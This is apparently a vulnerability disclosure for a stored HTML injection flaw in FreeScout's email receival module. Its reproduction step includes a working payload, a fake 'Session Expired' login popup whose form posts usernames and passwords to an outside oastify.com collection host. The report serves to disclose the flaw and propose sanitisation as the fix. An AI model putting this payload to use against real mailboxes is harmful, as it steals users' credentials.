Description:

A stored HTML Injection vulnerability has been identified in the Email Receival Module of the Freescout Application. The vulnerability allows attackers to inject malicious HTML content into emails sent to the application's mailbox. This vulnerability arises from improper handling of HTML content within incoming emails, allowing attackers to embed malicious HTML code in the context of the application's domain.

Impact:

Unauthenticated attackers can exploit this vulnerability to inject malicious HTML content into emails. This could lead to various attacks such as form hijacking, application defacement, or data exfiltration via CSS injection. Although unauthenticated attackers are limited to HTML injection, the consequences can still be severe.

Mitigation:

Implement strict input validation and sanitization mechanisms to ensure that any HTML content received via emails is properly sanitized to prevent malicious HTML injections.

Steps to Reproduce:

1. Send a mail to [email protected] containing following HTML content:

<div id="popup" class="popup" style="display: block; position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); background-color: #fefefe; padding: 20px; border: 1px solid #888; width: 300px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); z-index: 9999;">
  <div class="popup-content">
    <span class="close" style="color: #aaa; float: right; font-size: 28px; font-weight: bold;">X</span>
    <h2 style="text-align: center;">Login Form</h2>
    <p>Session Expired. Login again to continue.</p>
    <form action="https://esau01gqq0hvdmsftm2bapb7pyvpjg75.oastify.com/" method="POST" style="text-align: center;">
      <label for="username">Username:</label><br>
      <input type="text" id="username" name="username"><br>
      <label for="password">Password:</label><br>
      <input type="password" id="password" name="password"><br><br>
      <input type="submit" value="Login">
    </form>
  </div>
</div>

2. log in as a user in Freescout and go to edit the received email, HTML Injection will cause a popup forcing the user to input credentials, from where the credentials can be stolen.

Evidence

Sending Email with Malicious HTML.

Editing Received Email.

HTML Injection